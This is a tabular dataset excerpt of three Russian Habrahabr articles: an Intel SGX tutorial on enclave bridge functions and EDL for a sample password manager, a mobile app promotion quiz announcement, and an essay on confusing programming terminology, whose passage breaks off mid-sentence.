source
stringclasses
4 values
title
stringlengths
5
287
keywords
stringlengths
6
1.23k
summary
stringlengths
11
5.12k
content
stringlengths
2
164k
url
stringlengths
33
173
habrahabr
Intel Software Guard Extensions, учебное руководство. Часть 4, устройство анклава
['Software Guard Extensions']
В четвертой части серии учебных материалов, посвященных расширениям Intel Software Guard Extensions (Intel SGX), мы займемся созданием анклава и его интерфейса. Мы рассмотрим границы анклава,...
В четвертой части серии учебных материалов, посвященных расширениям Intel Software Guard Extensions (Intel SGX), мы займемся созданием анклава и его интерфейса. Мы рассмотрим границы анклава, определенные в третьей части , и определим необходимые функции моста, рассмотрим влияние функций моста на объектную модель и создадим инфраструктуру проекта, необходимую для интеграции анклава в наше приложение. Вместо ECALL анклава мы пока используем заглушки; к полной интеграции анклава мы перейдем в пятой части этой серии. Вместе с этой частью серии предоставляется исходный код: заглушка анклава и функции интерфейса; этот код доступен для загрузки. Архитектура приложения Перед проектированием интерфейса анклава нужно подумать об общей архитектуре приложения. Как мы обсуждали в первой части , анклавы реализуются в виде библиотек динамической компоновки (DLL-библиотеки в Windows* и общие библиотеки в Linux*) и должны компоноваться только с 100 % собственным кодом C. При этом графический пользовательский интерфейс программы Tutorial Password Manager написан на C#. Используется смешанная сборка, написанная на C++/CLI, чтобы перейти от управляемого кода к неуправляемому, но хотя эта сборка содержит собственный код, она не состоит из собственного кода на 100 %, поэтому не может напрямую взаимодействовать с анклавом Intel SGX. Попытки внедрения недоверенных функций моста анклава в сборки C++/CLI приведут к невосстановимым ошибкам: Command line error D8045: cannot compile C file ’Enclave_u.c’; with the /clr option Это означает, что необходимо разместить функции недоверенного моста в отдельной DLL-библиотеке, состоящей полностью из собственного кода. В результате в нашем приложении будет по крайней мере три DLL-библиотеки: ядро C++/CLI, мост анклава и сам анклав. Эта структура изображена на рис. 1. Рисунок 1. Компоненты смешанного приложения с анклавами. Дальнейшие доработки Поскольку функции моста анклава должны находиться в отдельной DLL-библиотеке, мы сделаем следующий шаг: поместим в эту библиотеку все функции, напрямую взаимодействующие с анклавом. Такое разделение уровней приложения упростит управление программой и ее отладку, а также повысит удобство интеграции за счет ослабления влияния на другие модули. Если класс или модуль выполняет определенную задачу с четко очерченной границей, изменения других модулей с меньшей вероятностью повлияют на него. В нашем случае класс PasswordManagerCoreNative не следует обременять дополнительной задачей по созданию экземпляров анклавов. Этот класс должен лишь знать, поддерживает ли платформа расширения Intel SGX, чтобы выполнить соответствующую функцию. В качестве примера в следующем фрагменте кода показан метод unlock() : int PasswordManagerCoreNative::vault_unlock(const LPWSTR wpassphrase) { int rv; UINT16 size; char *mbpassphrase = tombs(wpassphrase, -1, &size); if (mbpassphrase == NULL) return NL_STATUS_ALLOC; rv= vault.unlock(mbpassphrase); SecureZeroMemory(mbpassphrase, size); delete[] mbpassphrase; return rv; } Это очень простой метод: он принимает парольную фразу пользователя в виде wchar_t, преобразует ее в кодировку переменной длины (UTF-8), затем вызывает метод unlock() в объекте хранилища. Вместо того чтобы загромождать этот класс и этот метод функциями работы с анклавом, лучше добавить поддержку анклава в этот метод, добавив одну строку: int PasswordManagerCoreNative::vault_unlock(const LPWSTR wpassphrase) { int rv; UINT16 size; char *mbpassphrase = tombs(wpassphrase, -1, &size); if (mbpassphrase == NULL) return NL_STATUS_ALLOC; // Call the enclave bridge function if we support Intel SGX if (supports_sgx()) rv = ew_unlock(mbpassphrase); else rv= vault.unlock(mbpassphrase); SecureZeroMemory(mbpassphrase, size); delete[] mbpassphrase; return rv; } Наша цель — в наибольшей степени освободить этот класс от работы с анклавом. Другие необходимые добавления для класса PasswordManagerCoreNative : поддержка флага Intel SGX и методы для задания и получения этого флага. class PASSWORDMANAGERCORE_API PasswordManagerCoreNative { int _supports_sgx; // Other class members ommitted for clarity protected: void set_sgx_support(void) { _supports_sgx = 1; } int supports_sgx(void) { return _supports_sgx; } Проектирование анклава Общий план приложения готов, поэтому можно заняться проектированием анклава и его интерфейса. Для этого вернемся к схеме классов ядра приложения, которую мы впервые описали в третьей части — она показана на рис. 2. Объекты, находящиеся в анклаве, закрашены зеленым, а недоверенные компоненты — синим. Рисунок 2. Схема классов в Tutorial Password Manager с Intel Software Guard Extensions. Границу анклава пересекает только одно подключение: связь между объектом PasswordManagerCoreNative и объетом Vault . Это означает, что большинство наших ECALL будут просто оболочками методов классов в Vault . Также нужно добавить дополнительные ECALL для управления инфраструктурой анклава. Одно из затруднений при разработке анклава состоит в том, что ECALL, OCALL и функции моста должны быть собственным кодом C, а мы широко используем компоненты C++. После запуска анклава нам также понадобятся функции, заполняющие разрыв между C и C++ (объекты, конструкторы, перегрузки и другие). Оболочки и функции моста будут находиться в собственной DLL-библиотеке, которую мы назовем EnclaveBridge.dll. Для ясности мы снабдим функции-оболочки префиксом «ew_» (enclave wrapper — оболочка анклава), а функции моста, образующие ECALL — префиксом «ve_» (vault enclave — анклав хранилища). Вызовы из PasswordManagerCoreNative к соответствующему методу в Vault будут следовать по пути, показанному на рис. 3. Рисунок 3. Путь выполнения функций моста и ECALL. Метод в PasswordManagerCoreNative вызывает функцию-оболочку в EnclaveBridge.dll. Эта оболочка, в свою очередь, вызывает один или несколько ECALL, которые входят в анклав и вызывают соответствующий метод класса в объекте Vault . После завершения всех ECALL функция-оболочка возвращается в вызывающий метод в PasswordManagerCoreNative и предоставляет ему возвращенное значение. Логистика анклава При создании анклава сначала нужно определиться с системой для управления самим анклавом. Анклав должен быть запущен, а получившийся идентификатор анклава нужно предоставить функциям ECALL. В идеале все это должно быть прозрачно для верхних уровней приложения. Самое простое решение для Tutorial Password Manager — использовать глобальные переменные в DLL-библиотеке EnclaveBridge для размещения информации об анклаве. Такое решение сопряжено с ограничением: в анклаве одновременно может быть только один активный поток. Это целесообразное решение, поскольку производительность диспетчера паролей все равно не увеличится при использовании нескольких потоков для работы с хранилищем. Большинство действий управляется пользовательским интерфейсом, они не образуют существенную нагрузку на ЦП. Для решения проблемы прозрачности каждая функция-оболочка должна сначала вызывать функцию, чтобы проверить, запущен ли анклав, и запустить его, если он еще не запущен. Логика довольно проста: #define ENCLAVE_FILE _T("Enclave.signed.dll") static sgx_enclave_id_t enclaveId = 0; static sgx_launch_token_t launch_token = { 0 }; static int updated= 0; static int launched = 0; static sgx_status_t sgx_status= SGX_SUCCESS; // Ensure the enclave has been created/launched. static int get_enclave(sgx_enclave_id_t *eid) { if (launched) return 1; else return create_enclave(eid); } static int create_enclave(sgx_enclave_id_t *eid) { sgx_status = sgx_create_enclave(ENCLAVE_FILE, SGX_DEBUG_FLAG, &launch_token, &updated, &enclaveId, NULL); if (sgx_status == SGX_SUCCESS) { if ( eid != NULL ) *eid = enclaveId; launched = 1; return 1; } return 0; } Сначала каждая функция-оболочка вызывает функцию get_enclave() , которая проверяет, запущен ли анклав, по статической переменной. Если да, то эта функция (при необходимости) помещает идентификатор анклава в указатель eid . Это необязательный этап, поскольку идентификатор анклава также хранится в глобальной переменной enclaveID , и можно использовать ее напрямую. Что произойдет, если анклав будет утрачен из-за сбоя электропитания или из-за ошибки, которая вызовет аварийное завершение? Для этого мы проверяем возвращаемое значение ECALL: оно указывает успешность или сбой самой операции ECALL, а не функции, вызываемой в анклаве. sgx_status = ve_initialize(enclaveId, &vault_rv); Возвращаемое значение функции, вызываемой в анклаве, если оно есть, передается через указатель, предоставляемый в качестве второго аргумента ECALL (эти прототипы функций автоматически создаются программой Edger8r). Следует всегда проверять возвращаемое значение ECALL. Любой результат, отличный от SGX_SUCCESS, указывает, что программе не удалось успешно войти в анклав, а запрошенная функция не была запущена. (Обратите внимание, что мы также определили sgx_status в качестве глобальной переменной. Это еще одно упрощение, обусловленное однопоточной архитектурой нашего приложения). Мы добавим функцию, которая анализирует ошибку, возвращаемую функцией ECALL, и проверяет состояние анклава (утрачен, аварийный сбой): static int lost_enclave() { if (sgx_status == SGX_ERROR_ENCLAVE_LOST || sgx_status == SGX_ERROR_ENCLAVE_CRASHED) { launched = 0; return 1; } return 0; } Это исправимые ошибки. В верхних уровнях пока нет логики, способной справиться с этими условиями, но мы предоставляем ее в DLL-библиотеке EnclaveBridge для поддержки дальнейшего развития программы. Также обратите внимание на отсутствие функции для уничтожения анклава. Пока в системе пользователя открыто приложение диспетчера паролей, в памяти существует анклав, даже если пользователь запер свое хранилище. Это не вполне правильный способ работы с анклавами. Анклавы потребляют ресурсы из далеко не безграничного пула даже при бездействии. Мы займемся этой проблемой в последующем выпуске этой серии, когда поговорим о запечатывании данных. Язык Enclave Definition Language Перед тем, как перейти к устройству анклава, поговорим немного о синтаксисе языка Enclave Definition Language (EDL). Функции моста анклава, и ECALL, и OCALLs, имеют прототипы в файле EDL со следующей общей структурой: enclave { // Include files // Import other edl files // Data structure declarations to be used as parameters of the function prototypes in edl trusted { // Include file if any. It will be inserted in the trusted header file (enclave_t.h) // Trusted function prototypes (ECALLs) }; untrusted { // Include file if any. It will be inserted in the untrusted header file (enclave_u.h) // Untrusted function prototypes (OCALLs) }; }; Прототипы ECALL находятся в доверенной части, а OCALL — в недоверенной части. Синтаксис языка EDL схож с синтаксисом C, а прототипы функций EDL очень похожи на прототипы функций C, но не идентичны им. В частности, параметры функции моста и возвращаемые значения ограничены некоторыми фундаментальными типами данных, а EDL включает дополнительные ключевые слова и синтаксис для определения поведения анклава. В руководстве пользователя Intel Software Guard Extensions (Intel SGX) SDK исключительно подробно описан синтаксис EDL и приводится учебное руководство по созданию примера анклава. Мы не станем повторять все, что там написано, а просто обсудим элементы этого языка, относящиеся к нашему приложению. При передаче параметров функциям анклава они помещаются в защищенное пространство памяти анклава. Для параметров, передаваемых в качестве значений, не требуется никаких дополнительных действий, поскольку значения помещаются в защищенный стек анклава, как для вызова любых других функций. Для указателей ситуация совершенно иная. Для параметров, передаваемых в качестве указателей, данные, на которые ссылается указатель, должны быть переданы в анклав и из анклава. Граничные процедуры, выполняющие эту передачу данных, должны «знать» две вещи: В каком направлении следует копировать данные: в функцию моста, из функции моста или в обе стороны? Каков размер буфера данных, на который ссылается указатель? Направление указателя При предоставлении функции параметра указателя необходимо указать направление с помощью ключевых слов в квадратных скобках: Соответственно [in], [out] или [in, out]. Значение этих ключевых слов указано в таблице 1. Направление ECALL OCALL in Буфер копируется из приложения в анклав. Изменения повлияют только на буфер внутри анклава. Буфер копируется из анклава в приложение. Изменения повлияют только на буфер вне анклава. out Буфер будет выделен внутри анклава и инициализирован с нулевыми значениями. Он будет скопирован в исходный буфер при выходе ECALL. Буфер будет выделен вне анклава и инициализирован с нулевыми значениями. Этот недоверенный буфер будет скопирован в исходный буфер при выходе OCALL. in, out Данные копируются туда и обратно. Так же, как в ECALL. Таблица 1. Параметры направления указателей и их значения в ECALL и OCALL. Обратите внимание, что направление указывается относительно вызываемой функции моста. Для функции ECALL [in] означает «копировать буфер в анклав», но для OCALL этот же параметр означает «копировать буфер в недоверенную функцию». (Также существует параметр user_check , который можно использовать вместо них, но он не относится к предмету нашего обсуждения. Сведения о его назначении и использовании см. в документации SDK.) Размер буфера Граничные процедуры вычисляют суммарный размер буфера в байтах следующим образом: количество байт = element_size * element_count По умолчанию для граничных процедур значение element_count равно 1, а element_size вычисляется на основе элемента, на который ссылается параметр указателя, например, для целочисленного указателя element_size будет таким: sizeof(int) Для одиночного элемента фиксированного типа данных, например int или float, не требуется предоставлять никакой дополнительной информации в прототипе функции EDL. Для указателя void необходимо задать размер элемента, иначе при компиляции возникнет ошибка. Для массивов, строк char и wchar_t и других типов, где длина буфера данных превышает один элемент, необходимо указать количество элементов в буфере, иначе будет скопирован только один элемент. Добавьте параметр count или size (или оба) к ключевым словам в квадратных скобках. Им можно задать постоянное значение или один из параметров функции. В большинстве случаев функциональность count и size одинакова, но рекомендуется использовать их в правильном контексте. Строго говоря, size следует указывать только при передаче указателя void. В остальных случаях следует использовать count. При передаче строки C и wstring (массива char или wchar_t с завершающим NULL) можно использовать параметр string или wstring вместо count или size . В этом случае граничные процедуры определят размер буфера, получив длину строки напрямую. function([in, size=12] void *param); function([in, count=len] char *buffer, uint32_t len); function([in, string] char *cstr); Обратите внимание, что можно использовать string или wstring только в случае, если задано направление [in] или [in, out]. Если задано только направление [out], строка еще не была создана, поэтому граничная процедура не может получить размер буфера. Если указать [out, string], при компиляции возникнет ошибка. Оболочки и функции моста Теперь можно определить оболочки и функции моста. Как было сказано выше, большинство наших ECALL будут просто оболочками методов классов в Vault . Определение класса для публичных членов-функций показано ниже: class PASSWORDMANAGERCORE_API Vault { // Non-public methods and members ommitted for brevity public: Vault(); ~Vault(); int initialize(); int initialize(const char *header, UINT16 size); int load_vault(const char *edata); int get_header(unsigned char *header, UINT16 *size); int get_vault(unsigned char *edate, UINT32 *size); UINT32 get_db_size(); void lock(); int unlock(const char *password); int set_master_password(const char *password); int change_master_password(const char *oldpass, const char *newpass); int accounts_get_count(UINT32 *count); int accounts_get_info(UINT32 idx, char *mbname, UINT16 *mbname_len, char *mblogin, UINT16 *mblogin_len, char *mburl, UINT16 *mburl_len); int accounts_get_password(UINT32 idx, char **mbpass, UINT16 *mbpass_len); int accounts_set_info(UINT32 idx, const char *mbname, UINT16 mbname_len, const char *mblogin, UINT16 mblogin_len, const char *mburl, UINT16 mburl_len); int accounts_set_password(UINT32 idx, const char *mbpass, UINT16 mbpass_len); int accounts_generate_password(UINT16 length, UINT16 pwflags, char *cpass); int is_valid() { return _VST_IS_VALID(state); } int is_locked() { return ((state&_VST_LOCKED) == _VST_LOCKED) ? 1 : 0; } }; В этом классе есть несколько проблемных функций. Некоторые из них очевидны: это, к примеру, конструктор, деструктор и перегрузки для initialize() . Это компоненты C++, которые нам нужно вызывать с помощью функций C. Некоторые проблемы не столь очевидны, поскольку они присущи устройству функций. Некоторые из этих проблемных методов были неправильно созданы нарочно, чтобы мы могли рассмотреть определенные проблемы в этом учебном руководстве, но другие методы были неправильно созданы без каких-либо далеко идущих целей, просто так получилось. Мы решим эти проблемы последовательно, представив и прототипы для функций оболочек, и прототипы EDL для процедур прокси/моста. Конструктор и деструктор В ветви кода без использования Intel SGX класс Vault является членом PasswordManagerCoreNative . Это невозможно сделать в ветви кода Intel SGX. Тем не менее, анклав может включать код C++, если сами по себе функции моста являются функциями C. Поскольку мы ограничили анклав одним потоком, можно сделать класс Vault статическим глобальным объектом в анклаве. Это существенно упрощает код и исключает необходимость создания функций моста и логики для создания экземпляров. Перегрузка метода initialize() Существует два прототипа метода initialize() : Метод без аргументов инициализирует объект Vault для нового хранилища паролей без содержимого. Это хранилище паролей, создаваемое пользователем впервые. Метод с двумя аргументами инициализирует объект Vault из заголовка файла хранилища. Это существующее хранилище паролей, которое пользователь открывает (а затем попытается отпереть). Этот метод разделяется на две функции-оболочки: ENCLAVEBRIDGE_API int ew_initialize(); ENCLAVEBRIDGE_API int ew_initialize_from_header(const char *header, uint16_t hsize); Соответствующие функции ECALL определены так: public int ve_initialize (); public int ve_initialize_from_header ([in, count=len] unsigned char *header, uint16_t len); get_header() Этому методу присуща фундаментальная проблема. Вот прототип: int get_header(unsigned char *header, uint16_t *size); Эта функция выполняет следующие задачи: Она получает блок заголовка для файла хранилища и помещает его в буфер, на который указывает заголовок. Вызывающий метод должен выделить достаточно памяти для хранения этих данных. Если передать в параметре заголовка указатель NULL, то для uint16_t, на который ведет указатель, устанавливается размер блока заголовка, поэтому вызывающий метод знает, сколько памяти нужно выделить. Это достаточно распространенная методика сжатия в некоторых программистских сообществах, но для анклавов здесь образуется проблема: при передаче указателя на ECALL или OCALL граничные функции копируют данные, на которые ссылается указатель, в анклав или из него (или в обоих направлениях). Этим граничным функциям необходим размер буфера данных, чтобы знать, сколько байт копировать. В первом случае используется действующий указатель с переменным размером, что не представляет затруднений, но во втором случае мы имеем указатель NULL и размер, равный нулю. Можно было бы придумать такой прототип EDL для функции ECALL, при котором все это заработало бы, но обычно ясность важнее краткости. Поэтому лучше разделить код на две функции ECALL: public int ve_get_header_size ([out] uint16_t *sz); public int ve_get_header ([out, count=len] unsigned char *header, uint16_t len); Функция-оболочка анклава обеспечит необходимую логику, чтобы нам не потребовалось изменять другие классы: ENCLAVEBRIDGE_API int ew_get_header(unsigned char *header, uint16_t *size) { int vault_rv; if (!get_enclave(NULL)) return NL_STATUS_SGXERROR; if ( header == NULL ) sgx_status = ve_get_header_size(enclaveId, &vault_rv, size); else sgx_status = ve_get_header(enclaveId, &vault_rv, header, *size); RETURN_SGXERROR_OR(vault_rv); } accounts_get_info() Этот метод работает аналогично get_header() : передает указатель NULL и возвращает размер объекта в соответствующем параметре. Впрочем, этот метод не отличается изяществом и удобством из-за множества аргументов параметров. Лучше разделить его на две функции-оболочки: ENCLAVEBRIDGE_API int ew_accounts_get_info_sizes(uint32_t idx, uint16_t *mbname_sz, uint16_t *mblogin_sz, uint16_t *mburl_sz); ENCLAVEBRIDGE_API int ew_accounts_get_info(uint32_t idx, char *mbname, uint16_t mbname_sz, char *mblogin, uint16_t mblogin_sz, char *mburl, uint16_t mburl_sz); И две соответствующих функции ECALL: public int ve_accounts_get_info_sizes (uint32_t idx, [out] uint16_t *mbname_sz, [out] uint16_t *mblogin_sz, [out] uint16_t *mburl_sz); public int ve_accounts_get_info (uint32_t idx, [out, count=mbname_sz] char *mbname, uint16_t mbname_sz, [out, count=mblogin_sz] char *mblogin, uint16_t mblogin_sz, [out, count=mburl_sz] char *mburl, uint16_t mburl_sz ); accounts_get_password() Это самый проблемный код во всем приложении. Вот прототип: int accounts_get_password(UINT32 idx, char **mbpass, UINT16 *mbpass_len); Первое, что бросается в глаза: он передает указатель на указатель в mbpass. Этот метод выделяет память. Ясно, что это не лучшая идея. Никакой другой метод в классе Vault не выделяет память, поэтому он внутренне несогласован, а API нарушает соглашение, поскольку не предоставляет метод для высвобождения памяти от имени вызывающего. При этом также возникает проблема, свойственная только анклавам: анклав не может выделять память в недоверенном пространстве. Это можно обрабатывать в функции-оболочке. Она могла бы выделить память, а затем образовать ECALL, и все это было бы прозрачно для вызывающего, но несмотря на это мы вынуждены изменить метод в классе Vault , поэтому достаточно просто исправить все как нужно и внести соответствующие изменения в класс PasswordManagerCoreNative . Вызывающий метод должен получить две функции: одну для получения длины пароля, другую — для получения пароля, как в двух предыдущих примерах. Класс PasswordManagerCoreNative должен отвечать за выделение памяти, а не какая-либо из этих функций (следует изменить и ветвь кода без использования Intel SGX). ENCLAVEBRIDGE_API int ew_accounts_get_password_size(uint32_t idx, uint16_t *len); ENCLAVEBRIDGE_API int ew_accounts_get_password(uint32_t idx, char *mbpass, uint16_t len); Теперь определение EDL должно выглядеть вполне привычно: public int ve_accounts_get_password_size (uint32_t idx, [out] uint16_t *mbpass_sz); public int ve_accounts_get_password (uint32_t idx, [out, count=mbpass_sz] char *mbpass, uint16_t mbpass_sz); load_vault() Проблема с load_vault() не вполне очевидна. Прототип достаточно прост и может показаться совершенно безобидным: int load_vault(const char *edata); Этот метод загружает зашифрованную сериализованную базу данных паролей в объект Vault . Поскольку объект Vault уже прочел заголовок, он знает, какого размера будет входящий буфер. А проблема здесь состоит в том, что граничные функции анклава не имеют этой информации. Необходимо явным образом передавать длину в ECALL, чтобы граничная функция знала, сколько байт копировать из входящего буфера во внутренний буфер анклава, но информация о размере хранится внутри анклава. Она недоступна для граничной функции. Прототип функции-оболочки может воспроизводить прототип метода класса: ENCLAVEBRIDGE_API int ew_load_vault(const unsigned char *edata); При этом функция ECALL должна передавать размер заголовка в качестве параметра, чтобы можно было его использовать для определения размера буфера входящих данных в файле EDL: public int ve_load_vault ([in, count=len] unsigned char *edata, uint32_t len) Чтобы все это было прозрачно для вызывающего метода, в функцию-оболочку будет добавлена дополнительная логика. Она будет отвечать за получение размера хранилища из анклава и за передачу этого размера в качестве параметра в функцию ECALL. ENCLAVEBRIDGE_API int ew_load_vault(const unsigned char *edata) { int vault_rv; uint32_t dbsize; if (!get_enclave(NULL)) return NL_STATUS_SGXERROR; // We need to get the size of the password database before entering the enclave // to send the encrypted blob. sgx_status = ve_get_db_size(enclaveId, &dbsize); if (sgx_status == SGX_SUCCESS) { // Now we can send the encrypted vault data across. sgx_status = ve_load_vault(enclaveId, &vault_rv, (unsigned char *) edata, dbsize); } RETURN_SGXERROR_OR(vault_rv); } Несколько слов о Юникоде В третьей части мы упомянули, что класс PasswordManagerCoreNative также занимается преобразованием строк между форматами wchar_t и char. Зачем вообще это делать, ведь анклавы поддерживают тип данных wchar_t? Это решение направлено на снижение ресурсоемкости нашего приложения. В Windows тип данных wchar_t является собственной кодировкой для API-интерфейсов Win32, он сохраняет символы в кодировке UTF-16 . В кодировке UTF-16 каждый символ занимает 16 бит: такое решение принято для поддержки символов, отличных от ASCII, в частности, для языков, не использующих латинский алфавит или содержащих множество символов. Проблема с кодировкой UTF-16 состоит в том, что любой символ всегда имеет длину 16 бит, даже если это обычный текст ASCII. Вряд ли целесообразно хранить вдвое больше данных на диске и внутри анклава, поскольку информация учетных записей пользователя обычно представляет собой обычный текст ASCII. Отметим также снижение производительности, обусловленное необходимостью копировать и зашифровывать больше данных. Поэтому в Tutorial Password Manager все строки, поступающие из .NET, преобразуются в кодировку UTF-8 . UTF-8 — это кодировка переменной длины, в которой для представления каждого символа используется от одного до четырех байт длиной по 8 бит каждый. Эта кодировка обратно совместима с ASCII и отличается большей компактностью по сравнению с UTF-16 для обычного текста ASCII. Существуют ситуации, когда использование UTF-8 приведет к образованию более длинных строк, чем при использовании UTF-16, но поскольку мы создаем не коммерческую программу, а учебный диспетчер пароля, то примиримся с этим. В коммерческом приложении следовало бы выбирать наилучшую кодировку в зависимости от языка системы и записывать эту кодировку в хранилище (чтобы оно знало, какая кодировка была использована для его создания, на случай открытия хранилища в системе с другим языком). Пример кода Как уже было сказано выше, в этой части предоставляется пример кода для загрузки . Прилагаемый архив включает исходный код DLL-библиотеки моста Tutorial Password Manager и DLL-библиотеки анклава. Функции анклава пока представляют собой просто заглушки, они будут заполнены в пятой части. В дальнейших выпусках В пятой части этого учебного руководства мы завершим создание анклава, для чего перенесем классы Crypto, DRNG и Vault в анклав и соединим их с функциями ECALL. Следите за новостями!
https://habrahabr.ru/company/intel/blog/318628/
habrahabr
Предновогодний тест по продвижению мобильных приложений
['aso', 'mobio', 'продвижение мобильных приложений', 'тест']
Перед самым Новым годом вместе с друзьями и партнерами из myTarget, Zeptolab, Affise, Adjust, LinguaLeo, Aviasales, AppsFlyer, ASODesk, White Nights, Appfollow и FraudScore мы подготовили тест из...
Перед самым Новым годом вместе с друзьями и партнерами из myTarget, Zeptolab, Affise, Adjust, LinguaLeo, Aviasales, AppsFlyer, ASODesk, White Nights, Appfollow и FraudScore мы подготовили тест из 15 вопросов на знание User Acquisition. В нем будут теоретические и практические задачи про ASO, аналитику, привлечение трафика, фрод и многое другое. Узнай , насколько ты хорош в продвижении мобильных приложений, делись результатами и с наступающим!
https://habrahabr.ru/company/mobio/blog/318630/
habrahabr
Сложнейшая проблема компьютерных наук
['именование']
… это, конечно же, именование сущностей. И я говорю не только об именах переменных или новых технологий, нет. Мы не можем договориться даже о самых базовых терминах. Тысяча диалектов Знаете ли...
… это, конечно же, именование сущностей. И я говорю не только об именах переменных или новых технологий, нет. Мы не можем договориться даже о самых базовых терминах. Тысяча диалектов Знаете ли вы, что спецификация языка программирования С часто упоминает термин «объект»? Нет, это не объект в том понимании, как он описывается в ООП — объект в С определяется как «блок данных в среде выполнения, содержимое которого может представлять некоторое значение». В этом понимании объекта имеет смысл говорить о, например, «объекте типа char». Термин «метод» достаточно распространён, но вы можете встретить программистов, которые будут говорить исключительно «функция-член класса». Язык программирования Java, поэтому, то ли имеет, то ли не имеет функций, в зависимости от того, кого вы об этом спросите. Термины «процедура» и «подпрограмма» иногда используются как аналог «функции», но в некоторых языках программирования (например, Pascal) процедура это совершенно не то же самое, что функция. Даже в рамках одного языка программирования мы, бывает, путаемся. Программистов на Python можно поймать на употреблении термина «свойство» (property) вместо аттрибут (attribute), хотя оба термина существуют в языке и они не абсолютно тождественны. Есть разница между «аргументом» и «параметром», но кому до этого есть дело — мы просто произносим то или иное слово, когда нам кажется удобнее. Я часто использую термин «интерфейс функции» (" signature "), но другие люди делают это очень редко, так что иногда я задумываюсь — понимает ли вообще кто-нибудь, о чём я говорю? Когда мы говорим «тип данных float», то программист на С услышит «тип с плавающей запятой одинарной точности», а программист на Python будет уверен, что имелся в виду тип с двойной точностью. И это ещё не самый страшный случай, поскольку когда упоминается тип word — это вообще может подразумевать как минимум четыре различных толкования в плане его размера. Часть проблемы в том, что когда мы говорим «о компьютерных науках» мы на самом деле не говорим о компьютерных науках. Мы занимаемся практическим программированием на каком-то множестве (из сотен!) неидеальных языков программирования, каждый из которых — со своими особенностями и причудами. При этом у нас есть некоторое(ограниченное) количество знакомых нам терминов, которые мы применяем к разным фичам разных языков, иногда к месту, а иногда и не очень. Человек, начавший изучать программирование с Javascript, будет иметь определённое представление о том, что такое «класс» и оно будет очень отличаться от представления того человека, чьим первым языком был Ruby. Люди приходят с бэкграундом одного языка в другой и начинают обвинять его, например, в том, что там нет нормальных замыканий, поскольку в их языке термином «замыкание» обозначалось нечто совсем другое. Иногда со всем этим можно кое-как мириться. А иногда может случиться конфуз. Вот мои (наименее?) любимые примеры подобных ситуаций. Массивы, векторы и списки В языке С массив — это последовательный блок данных, в который вы можете поместить некоторое (чётко определённое) количество значение переменных одного типа. int[5] описывает массив, предназначенный для хранения пяти переменных типа int, непосредственно одна за другой. С++ вводит понятие вектора, как аналога массива, способного автоматически изменять свой размер, подстраиваясь под текущие потребности. Также есть стандартный тип списка, под которым в данном случае понимается двусвязный список (на самом деле стандарт не выдвигает требований к конкретной реализации, но требования по функционалу делают логичным реализацию вектора на базе массива, а списка — на базе двусвязного списка). Но постойте! В С++11 вводится термин «initializer_list», в названии которого есть слово «список» (list), но по сути он является массивом. Списки в Lisp являются, конечно же, связными списками, что делает простым их обработку в плане доступа к голове и хвосту. Так же работает и Haskell, плюс в нём есть Data.Array для быстрого доступа к элементам по индексу. В Perl тип последовательности является массивом, хотя само слово «тип» здесь использовать не очень уместно, это скорее одна из форм переменных. В Perl также есть понятие «списка», но это лишь временный объект, существующий по ходу вычисления некоторого выражения, а не классический контейнерный тип данных. Это достаточно странная штука и её объяснение займёт побольше одного параграфа, так что я даже не буду здесь начинать. В Python список является фундаментальным типом данных, в котором есть свойства, аналогичные вектору в С++ и (в CPython) он реализован на базе С-массива. Стандартная библиотека также предоставляет редко используемый тип данных array, который упаковывает числа в массивы С для экономии места и дезориентирует программистов, пришедших к Python через С — они думают что «массив» это как-раз то, что нужно использовать по-умолчанию. Ах да, ещё есть встроенный тип байтового массива, что не то же самое, что массив, который хранит байты. В Javascript есть тип массива, но он построен поверх хэш-таблицы со строковыми (!) ключами. Есть также ArrayBuffer для сохранения чисел в С-массивах (очень похоже на тип array в Python). В PHP тип данных, который называется массивом на самом деле является упорядоченной хэш-таблицей со строковыми(!) ключами. Также в PHP есть списки, но это не тип данных, а лишь некоторый синтаксический сахар. Люди, который переходят из PHP в другие языки иногда удивляются, что классические хэш-таблицы, оказывается, не сохраняют упорядоченность. Язык Lua, отметает всяческие традиции, вообще не используя термины массива, вектора или списка. Единственный имеющийся там тип данных называется таблицей. Ну и, чтобы два раза не вставать, пройдёмся по именам типов данных ассоциативных контейнеров: C++ : map (а на самом деле это двоичное дерево. С++11 добавляет unordered_map, который является хэш-таблицей) JavaScript : object (!) (это вообще-то не классический ассоциативный массив, но в нём можно хранить значения, доступные по строковому ключу. А ещё есть тип данных Map.) Lua : table PHP : array (!) (и только строковые ключи) Perl : hash (тоже «форма», а не тип, плюс неоднозначность из-за того, что хэшами называют также нечто совершенно другое, плюс опять-таки только строковые ключи) Python : dict Rust : map (хотя существует в виде двух отдельных типов — BTreeMap and HashMap) Указатели, ссылки и алиасы В языке С есть указатели, которые являются адресами хранения некоторых данных в памяти. Для С это естественно, поскольку всё в С — об управлении данными в памяти и о представлении всех данных, как адресов в одном большом блоке данных (ну, более или менее так). Указатель — всего лишь индекс в этом большом блоке данных. С++, унаследовав указатели из С, сразу предостерегает вас от злоупотребления ими. В качестве альтернативы предлагается ссылка, которые вроде бы в точности как указатели, но для доступа к значениям в которых не нужно использовать оператор "*". Это сразу создаёт новую (очень странную) возможность, которой не было в С: две локальных переменных могут указывать на один и тот же блок данных в памяти, так что строка а=5; вполне себе может изменить значение переменной b. В Rust есть ссылки, и они даже используют синтаксис С++, но по факту являются «заимствованными указателями» (т.е. указателями, но прозрачными). Также в языке есть менее распространённые «чистые указатели», которые используют синтаксис указателей С. В Perl есть ссылки. Даже два отдельных типа ссылок. Жесткие ссылки (аналог указателей в С, за тем лишь исключением, что адресс недоступен и подразумевается, что он не должен быть использован непосредственно) и мягкие ссылки, где вы используете содержимое некоторой переменной в качестве имени другой переменной. Также в Perl есть алиасы, которые работают аналогично ссылкам в С++ — но не работают для локальных переменных и вообще по сути не являются типом данных, а просто манипуляцией над символьной таблицей. В PHP есть ссылки, но не смотря на влияние Perl, синтаксис ссылок был взят из С++. С++ определяет ссылку по типу переменной, на которую она ссылается. Но в PHP нет объявления переменных, так что переменная начинает считаться ссылкой с того момента, как она участвует в некотором специфическом наборе операций, включающем оператор &. Этот магический символ «заражает» переменную «ссылочностью». Python, Ruby, JavaScript, Lua, Java и ещё куча языков не имеют указателей, ссылок или алиасов. Это несколько затрудняет понимание этих языков для людей, пришедших из мира С и С++, поскольку по ходу объяснения тех или иных высокоуровневых вещей часто приходится говорить фразы вроде «это указывает на...», «это ссылается на ...», что вводит людей в заблуждение, создавая впечатление, что у них действительно есть некоторый указатель или ссылка на некоторую область в памяти, к содержимому которой можно непосредственно получить доступ. По этой причине я называю поведение ссылок в С++ алиасингом, поскольку это более ясно отражает суть происходящего и оставляет слово 